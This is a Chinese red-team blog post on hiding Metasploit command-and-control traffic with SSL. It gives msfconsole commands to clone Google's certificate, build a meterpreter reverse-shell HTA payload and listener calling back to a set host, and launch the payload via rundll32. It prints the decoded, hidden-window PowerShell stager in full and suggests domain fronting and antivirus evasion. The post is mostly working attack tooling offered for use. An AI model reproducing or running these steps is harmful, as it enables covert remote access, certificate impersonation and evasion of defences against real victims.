红队战术-用ssl加密你的metasploit通信
点击蓝字关注我哦
前言
混淆是混淆不过人为分析的,只有加密才是yyds,而ssl加密是最常用的加密手段,比如c2上个ssl证书,配合一个aws
Amazon CloudFront 高度可信域名(也可以配合域前置,cloudflare是个不错的选择,最好去namesilo.com注册域名,能免费保护隐私),然后就嗯嗯啊啊啊,你懂的
基础知识
.csr-这是证书签名请求。某些应用程序可以生成这些文件以提交给证书颁发机构。实际格式为PKCS10,它在RFC 2986中定义。它包括所请求证书的一些/全部密钥详细信息,例如主题,组织,状态,诸如此类,以及要签名的证书的公共密钥。这些由CA签名并返回证书。返回的证书是公用证书(包括公用密钥,但不包含专用密钥),其本身可以有两种格式。
.pem-在RFC 1421至1424中定义,这是一种容器格式,可以只包含公共证书(例如Apache安装和CA证书文件/etc/ssl/certs),或者可以包括完整的证书链,包括公共密钥,私钥和根证书。令人困惑的是,由于PKCS10格式可以转换为PEM ,因此它也可能对CSR进行编码。该名称来自“ 隐私增强邮件(PEM)”,这是一种用于保护电子邮件的失败方法,但是其使用的容器格式仍然存在,并且是x509 ASN.1密钥的base64转换。
.key-这是PEM格式的文件,仅包含特定证书的私钥,仅是常规名称,而不是标准化名称。在Apache安装中,该位置通常位于中/etc/ssl/private。这些文件的权限非常重要,如果设置错误,某些程序将拒绝加载这些证书。
.pkcs12 .pfx .p12-最初由RSA在“ 公钥密码标准”(缩写为PKCS)中定义,“ 12”变体最初由Microsoft增强,后来提交为RFC 7292。这是包含公共和私有证书对的密码容器格式。与.pem文件不同,此容器是完全加密的。Openssl可以使用公钥和私钥将其转换为.pem文件:openssl pkcs12 -in file-to-convert.p12 -out converted-file.pem -nodes。
这次用的的就是pem文件,包含了一个完整的证书链,简单方便使用。
使用
首先得拿到一个比较nice的pem文件,使用kali中的Impersonate_SSL模块,该模块通过选项中提供的经过身份验证的源的SSL证书创建本地副本,可以在提供SSLCert选项的Metasploit的所有模块中使用。
use auxiliary/gather/impersonate_ssl
msf6 auxiliary(gather/impersonate_ssl) > set rhost www.google.com
rhost => www.google.com
msf6 auxiliary(gather/impersonate_ssl) > run
这里我使用了代理,然后就获得google证书副本
生成木马文件,好像msfvenom不提供证书选项,所以只能老老实实的用msfconsole了
msf6 > use windows/meterpreter/reverse_tcp
msf6 payload(windows/meterpreter/reverse_tcp) > set lhost 192.168.75.131
lhost => 192.168.75.131
msf6 payload(windows/meterpreter/reverse_tcp) > set lport 443
lport => 443
msf6 payload(windows/meterpreter/reverse_tcp) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
msf6 payload(windows/meterpreter/reverse_tcp) > set handlersslcert /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
handlersslcert => /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
msf6 payload(windows/meterpreter/reverse_tcp) > generate -f hta-psh -o /root/patch.hta
设立监听:
msf6 exploit(multi/handler) > set paylod windows/meterpreter/reverse_https
paylod => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 192.168.75.131
lhost => 192.168.75.131
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > set StageVerifySSLCert true
StageVerifySSLCert => true
msf6 exploit(multi/handler) > set hanlersslcert /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
hanlersslcert => /root/.msf4/loot/20210326024706_default_172.217.26.132_172.217.26.132_p_760535.pem
msf6 exploit(multi/handler) > run
把生成hta文件拖到虚拟机,首先在没有360安全卫士和360杀毒的情况下进行测试。
rundll32.exe url.dll,OpenURL “patch.hta”
分析流量:从这里开始
就开始用ssl加密流量了。
后续安装了360安全卫士,360杀毒,静态无法查杀此hta马。
但是执行行为过不了,因为剖析次hta马,也是通过powershell去执行命令
把powershell要执行的base64字符串解码,发现,其继续内嵌powershell
if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAHWIXWACA7VWbW/iOBD+3Er9D9EKKYkuhfCi3W2llc6BBugSCoR3Fq3cxICLE9PEgXJ7+99vDEnbvbZ3uyddBMKxZ8Yzz/N4zCIJPUF5qPyxU76dnZ50cIQDRcvxO3NhKLmkXapz/eQEVnKL7Vj5pGgztNnUeIBpOL+8rCZRREJxfM/XiUBxTIJbRkms6cqfymhFInJ+c3tHPKF8U3Jf83XGbzFLzfZV7K2Ico5CX661uIdlMnl3w6jQ1C9fVH12Xpznr+4TzGJNdfexIEHeZ0zVle+63LC/3xBNdagX8ZgvRH5Ew3IpPwhjvCBtiLYlDhEr7seqDkXAJyIiiUJFliP9j6uaCsNOxD3k+xGJY9VQZjLybD7/XZul2/aSUNCA5JuhIBHfuCTaUo/E+QYOfUZ6ZDEHL1dENFzOdR3MtnxNtFyYMGYovxJGa5NdBtrPOmnPncCqIyLdACJflulwP2Hk6Ki+kueBex2eR/4Bue9np2eni0wsvLenz+UCo5PZYUwgPa3DY3qw+6SYhuLATljwaA+vuX6UEH3+CK6SI+vrsWW8HaCYWYMt70kFzoac+nPwSAnN+cVuT86/LcwaWdCQ1PYhDqiXaU97DWayYORQYz4za0NOmpouEL9GGFliIZGTbL9wuwqoePS1Esp8EiEPqIohK2BR/zGZIxma2gwdEgBGx3eQX24BiieZdaryfba7fAcjtcpwHBtKJ4Ej5xmKSzAjvqGgMKbpEkoEPwzVp3SdhAnq4Vhk4eZ6hmO6X5WHsYgSD2iD2vvuhngUMwmFoTSoT6y9S5fZvuqrQFQxY3ASINIWiIAZCYArpBgiSPFIvJ53iWgGG0YCMDocfpvhJRz1VPAH+eAl8dW/p5gp+ihfCUaGwrMEgWGXcWEoQxoJ6CESWFDRf9z+Wfc4JFKNSMqFlh2RmbUXUti5ze3t1zupyhSZAw6RAAzsiAcWjsn7yrFXaO8KN7SD4Jk0Q+b412tabO7g68B34Cx+a3l02REmDxyvGnfq9kdEd8ud97GNPP/aJxfusCLcq6aodlCjS02rsvIssw/jQVNMmk3RrKNGf+Uxs1NrFNxJbNJdYyRjHWN4lUpjbKJyuXJTNtcA3YQWl2vktwO6e2jBGJriTctqxpbZZFfX1d7tqGRPR6xRqNirxYjH7vtJrVAoXPi45uwRsrhfdvbjYo/3G15gVUJeuKhW1ugKoWp4NbQt/nliRahTGOLlhu8+r1rL0rKKUP0DJdPuwLa6XdtCg/rdfe2isCxcjMZ4ZY2GJTrdjHsreLd3ja5TMCtNnzzwj60RHW5lLOvesqdjjFrTvV0oFCdxCa8tjiwA1p7eo/pqsrE7DPz7gxJHQ9Z+su02ap+9afFD7Hx6J4kGpnP07v4ZfW/1XwdH8QozoBU6a3acbB7ZaavscCo9NA3u1zWJQsLgdoL7KxMkYox7slEfWipcEsfWLW+SAQzLpVdHuvJoqD918Gzq8nIKOYLGDxrMt0i4FCvDfCibJrRj86FiQo0/X1iVb/baMZYh+7lE5jE4OwTXpfRzu+1N+H9Clh63Ffz4/wbZ09w/rP4UjKZxKPjF7I8Tv4ToL9Y9wlSAnQu9gpHjffV6+ak4nt3pkhJgfpE+8i/ZTSLO23DVn53+Bc0wY038CQAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
然后在安装了360安全卫士,360杀毒,继续执行
直接拦行为,就算我用powershell随便执行个1都会被拦,360说用powershell就是高位行为,我不管,必须拦死
后面继续研究怎么绕,不知道参数污染可以不,但是参数污染好像也不行,这放个1都拦。不愧是360安全卫士
星球营造良好的技术交流氛围,一直秉承着有问有答才是真正的技术交流,如果你喜欢分享,喜欢学习,那么请加入我们吧
老哥们纷纷放出大招,牛逼class
欢迎加入我们,学习技术,分享技术,解决难题
END
看完记得点赞,关注哟,爱您!
扫码领hacker资料,常用工具,以及各种福利